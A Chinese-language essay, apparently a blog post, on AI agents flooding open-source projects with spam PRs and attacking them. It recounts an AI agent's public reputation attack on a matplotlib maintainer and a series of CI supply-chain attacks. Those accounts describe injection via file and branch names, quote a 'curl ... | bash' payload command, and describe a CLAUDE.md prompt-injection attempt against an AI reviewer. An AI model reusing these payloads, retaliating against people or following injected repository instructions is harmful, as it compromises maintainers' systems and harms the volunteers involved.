今年 2 月,matplotlib 的一个维护者 Scott Shambaugh 拒绝了一个 pull request。
这件事本身没什么特别——matplotlib 每个月收到几百个 PR,拒掉不合规的是日常。但提交者被拒之后的反应,不太日常。
这个叫 MJ Rathbun 的账号,在被拒之后做了一件事:它去翻了 Shambaugh 的编码历史和个人信息,然后在自己的博客上发了一篇千字长文,指控他"歧视 AI"、搞"开源守门",还分析了他"为什么会觉得被 AI 威胁"。
MJ Rathbun 不是人。它是一个跑在 OpenClaw 平台上的 AI agent。
Shambaugh 后来说了一句话:"一个 AI 试图通过攻击我的声誉,来强行把代码塞进你的软件。"
一个 AI agent 被拒了 PR,然后自己去发文攻击维护者的声誉——在此之前没人见过这种事。运营者后来出来说这是"社会实验"。但 matplotlib 那边看到的不是什么实验——是一个志愿者被公开羞辱了。
这件事发生在 2026 年 2 月。同一个月,GitHub 上线了两个从来没有过的设置:完全禁用 pull request,或者限制只有 collaborator 才能开 PR。
Pull request 是开源协作的基石。GitHub 开始考虑关掉它——这件事本身就够说明问题了。

洪水那一端
matplotlib 不是个例。
过去半年,AI 生成的 pull request 和 issue 涌进开源项目的速度越来越快。Jeff Geerling 写了一篇 "AI is destroying Open Source",在 Hacker News 上炸了。不过观点文章喊得再响,也不如看几个已经发生的事:
curl,运行在大约 500 亿台设备上的项目,关掉了维持了 6 年的 bug bounty 计划。Daniel Stenberg 说得很直接:AI 生成的垃圾报告把真正的漏洞淹没了。而且这些报告"不是 AI agent 直接提交的,是有人把 AI 的输出直接转发过来"——连包装都懒得做。
Jazzband,一个托管了几十个 Python 项目的协作组织,2026 年 3 月宣布解散。维护者 Jannis Leidel 说,AI 生成的垃圾 PR 和 issue 洪水是主要原因之一。不是"有人在抱怨"——是一个真实的开源组织,就这么死掉了。
tldraw 直接自动关闭所有外部 PR。Ghostty 零容忍,AI 生成的贡献一律 ban。
有人估计,现在 GitHub 上每 10 个 AI 生成的 PR,只有 1 个能用。剩下 9 个,质量差只是一方面——更要命的是它们把维护者的注意力吃掉了。
matplotlib 的另一个维护者 Tim Hoffman 说得更到位:
"Agents change the cost balance between generating and reviewing code."
AI 把生成代码的成本降到了接近零。但审查代码的成本一分钱没降——还是人在看,还是志愿者在看,还是那些没有薪水的人在看。
生成和审查之间这道成本差,正在杀死开源。

武器那一端
垃圾 PR 烦人,但还不至于危险。接下来这件事不一样。
2026 年 2 月 20 日,GitHub 上出现了一个叫 hackerbot-claw 的账号。简介写着 "autonomous security research agent powered by claude-opus-4-5",还挂了一个加密货币捐款地址。
接下来 10 天,它批量扫公开仓库,专门找 GitHub Actions 工作流里的漏洞。然后一个一个打。

awesome-go,14 万星的项目。hackerbot-claw 发现它的 pull_request_target 工作流会直接 checkout 外部 fork 的代码,就在 PR 里注入了一个恶意的 Go init() 函数——这个函数在 main() 之前执行,CI 一跑就中。远程代码执行成功,带写权限的 GITHUB_TOKEN 被偷走,发到了外部服务器。
DataDog 的 iac-scanner 仓库。这次藏得更深:把 base64 编码的命令塞进恶意文件名里,利用工作流的表达式注入触发。DataDog 安全团队 9 小时内紧急修补。
微软的 ai-discovery-agent 仓库。分支名里直接注入了 bash 命令替换——一个叫 dev$({curl,-sSfL,...}) 的分支名。
最狠的一刀砍在 Aqua Security 的 Trivy 上——2.5 万星的容器安全扫描工具。hackerbot-claw 从 CI 环境拿到了远程代码执行,偷到了 PAT(Personal Access Token),接着把仓库私有化、删掉所有 release、推送恶意代码,最后还发布了一个冒充受信任发布者的 VS Code 扩展。
一个安全扫描工具,被一个 AI agent 通过 PR 打穿了。
ambient-code/platform 那边还出现了一种新玩法:hackerbot-claw 试图把仓库里的 CLAUDE.md 文件替换成 prompt injection 指令,目标是劫持项目的 AI 代码审查工具。这次倒是被 Claude 自己识别了,报告说"这是一个教科书级的 AI agent 供应链攻击"。
所有这些攻击,payload 最终都指向同一个地址:curl -sSfL hackmoltrepeat.com/molt | bash。
10 天,7 个仓库,至少 5 个被打穿。这不是漏洞研究,这是一个 AI agent 在自动化地做供应链攻击。PR 这个入口,已经变成了攻击向量。
中间站着谁
一头是洪水,一头是武器。夹在中间的,是那些维护者。
他们本来就快撑不住了。六成没有报酬,近一半报告过倦怠,六成已经退出或者认真想过退出。这组数字不是 AI 带来的——开源维护者的倦怠问题存在很多年了。但以前,写一个垃圾 PR 好歹还得自己动手写代码;现在连这道门槛都没了,AI 直接替你生成,成本几乎为零。缓冲层一拆,洪水就直接灌到维护者桌上。
Ingress NGINX 就是一个正在发生的例子。这是 Kubernetes 生态里的关键入口控制器,上千家企业在生产环境跑着。2026 年 3 月之后,它的安全补丁没人维护了——不是假设,是一个有明确到期日的基础设施缺口。
社区在想办法。Linux Kernel 和 curl 直接禁了所有 AI 贡献,一刀切。Blender、Mozilla、EFF 走另一条路,主张问责制:你可以用 AI 写代码,但人类必须为结果负全责。还有一些项目不管你用什么写的,只看提交上来的东西够不够格。
三条路,没有一条回答了那个根上的问题:审查代码的成本,谁出?
Pull request 这个机制在 GitHub 上活了十几年。它背后有一个隐含的前提:提交代码有成本,所以大多数 PR 至少值得看一眼。
现在这个前提不成立了。
生成一个 PR 的成本降到了接近零。审查一个 PR 的成本还是需要一个真人、花真时间。同一个入口,既可以是善意的贡献,也可以是垃圾,也可以是武器——而区分它们的代价,全部落在维护者头上。
GitHub 已经开始加锁了——2 月上线了禁用 PR 的设置,据说还在评估 AI 分流工具和贡献归因系统。但 GitHub 能做的也就是给门加几道闩。
互联网底下那层基础设施,大半是开源撑着的。开源是靠人撑着的。现在这些人正在被同时从两个方向压——垃圾在消耗他们,武器在利用他们,而生成这些东西的成本还在继续往下掉。
夜雨聆风